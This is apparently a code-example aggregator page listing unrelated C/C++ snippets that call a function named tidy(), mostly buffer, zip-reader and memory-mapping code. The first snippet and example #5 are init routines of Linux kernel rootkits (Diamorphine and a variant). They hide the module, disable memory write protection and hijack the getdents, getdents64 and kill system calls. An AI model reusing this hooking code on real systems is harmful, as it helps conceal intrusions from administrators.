static int __init
diamorphine_init(void)
{
	unsigned int level;

	sys_call_table = get_syscall_table_bf();
	if (!sys_call_table)
		return -1;

	pte = lookup_address((unsigned long)sys_call_table, &level);
	if (!pte)
		return -1;

	module_hide();
	tidy();

	orig_getdents = (orig_getdents_t)sys_call_table[__NR_getdents];
	orig_getdents64 = (orig_getdents64_t)sys_call_table[__NR_getdents64];
	orig_kill = (orig_kill_t)sys_call_table[__NR_kill];

	unprotect_memory();
	sys_call_table[__NR_getdents] = (unsigned long)hacked_getdents;
	sys_call_table[__NR_getdents64] = (unsigned long)hacked_getdents64;
	sys_call_table[__NR_kill] = (unsigned long)hacked_kill;
	protect_memory();

	return 0;
}
Beispiel #2
0
 void buffer::set_data(void* data, saga::ssize_t size,
     saga::mutable_buffer::buffer_deleter cb)
 {
     tidy();
     
     data_ = data;
     size_ = size;
     cb_ = cb;
 }
Beispiel #3
0
    void buffer::set_size(saga::ssize_t size)
    {
        tidy();               // delete old data if owned by impl

        if (size >= 0) {     // allocate new data if size is given
            data_ = new boost::uint8_t[size];
            cb_ = owned_deleter;
        }
        size_ = size;
    }
Beispiel #4
0
void zppZipReader::resetStream()
{
	tidy();

	// init the stream structure for zlib
	stream->zalloc = (alloc_func) zppZipReader::zlibAlloc;
	stream->zfree = (free_func) zppZipReader::zlibFree;
	stream->opaque = (voidpf) this;
    stream->total_out = 0;
	stream->avail_in = 0;

	curPos = 0;							// current pos in decompressed stream
	uncmpLeft = file->getSize();		// uncompressed size of file
	cmpLeft = file->getCmpSize();		// compressed size of file
	streamInit = true;

#ifdef ZPP_INCLUDE_CRYPT
	if (isCrypt) {
		if (!file->rawRead(curPos, readBuf, 12))
			throw zppError("can't read encryption header");
		curPos += 12;
		crypt.initKeys(file->getParentZip()->getPasswd());
		crypt.setHeader((unsigned char*)readBuf);
	}
#endif

	// XXX -- init crc32 here.

	// XXX -- use a decompressor object here, I think.
	switch(file->getMethod()) {
		case ZPP_DEFLATED:
			/*
			** windowBits is passed < 0 to tell that there is no zlib header.
			** Note that in this case inflate *requires* an extra "dummy" byte
			** after the compressed stream in order to complete decompression and
			** return Z_STREAM_END. 
			*/
			if (inflateInit2(stream, -MAX_WBITS) != Z_OK) 
				throw zppError("error in inflateInit2()");
			break;
		case ZPP_STORED:
			break;
		default:
			throw zppError("Invalid decompression type");
			break;
	}
}
Beispiel #5
0
// 커널 모듈을 로드할 때 수행
static int __init
simplekit_init(void)
{
	sys_call_table = get_syscall_table_bf();
	if (!sys_call_table)
		return -1;

	cr0 = read_cr0();

	module_hide();
	tidy();

	orig_getdents = (orig_getdents_t)sys_call_table[__NR_getdents];
	orig_getdents64 = (orig_getdents64_t)sys_call_table[__NR_getdents64];
	orig_kill = (orig_kill_t)sys_call_table[__NR_kill];

	unprotect_memory();
	sys_call_table[__NR_getdents] = (unsigned long)hacked_getdents;
	sys_call_table[__NR_getdents64] = (unsigned long)hacked_getdents64;
	sys_call_table[__NR_kill] = (unsigned long)hacked_kill;
	protect_memory();

	return 0;
}
Beispiel #6
0
int main (int argc, char *argv[])
{
  KAboutData aboutData( "html2mediawiki",
			0,
			ki18n("html2mediawiki"),
			"0.1",
			ki18n("Converts html syntax to mediawiki syntax"),
			KAboutData::License_GPL,
			ki18n("(c) 2008-2009 by Thorsten Staerk"),
			ki18n("This is html2mediawiki"),
			"http://www.staerk.de/thorsten",
			"*****@*****.**");
  KCmdLineArgs::init( argc, argv, &aboutData );
  KCmdLineOptions options; 
  options.add("+[file]", ki18n("Document to open")); 
  KCmdLineArgs::addCmdLineOptions(options); 
  KCmdLineArgs *args = KCmdLineArgs::parsedArgs();
  QByteArray inputfilecontent;
  KApplication app;
  if (args->count()) 
  {
    QFile inputfile(args->url(0).fileName());
    inputfile.open(QIODevice::ReadOnly);
    QString inputfilecontentqstring=QString::fromUtf8(inputfile.read(inputfile.bytesAvailable()));
    QDomDocument mydom=QDomDocument();
    mydom.setContent(tidy(inputfilecontentqstring));
    QDomNode bodynode(mydom.elementsByTagName("body").at(0));
    output(bodynode);
  }
  else 
  {
    std::cout << "html2mediawiki converts an html file to mediawiki syntax" << std::endl;
    std::cout << "html2mediawiki usage: html2mediawiki <htmlfile>" << std::endl;
    std::cout << "htmlfile must be utf-8 encoded." << std::endl;
  }
}
MemoryMappedFile::MemoryMappedFile(const char *filename, size_t length, size_t offset)
{
    FileHandle fd;
    fd.handle = ::open(filename, O_RDWR, 0666);
    if (fd.handle < 0)
    {
        throw IOException(std::string("Failed to open existing file: ") + filename, SOURCEINFO);
    }

    OnScopeExit tidy([&]()
    {
        close(fd.handle);
    });

    if (0 == length && 0 == offset)
    {
        struct stat statInfo;
        ::fstat(fd.handle, &statInfo);
        length = statInfo.st_size;
    }

    m_memorySize = length;
    m_memory = doMapping(m_memorySize, fd, offset);
}
Beispiel #8
0
 buffer::~buffer()
 {
     tidy();
 }
Beispiel #9
0
 const_buffer::~const_buffer()
 {
     tidy();
 }
Beispiel #10
0
 void enable(std::size_t width_) 
 { 
     tidy();             // release existing buffer
     width = (width_ == std::size_t(-1)) ? 0 : width_;
     buffer.reserve(width); 
 }
Beispiel #11
0
 ~buffer_sink() 
 { 
     tidy(); 
 }
Beispiel #12
0
zppZipReader::~zppZipReader()
{
        tidy();
	if (ourBuffer) delete[] readBuf;
	if (stream) delete stream;
}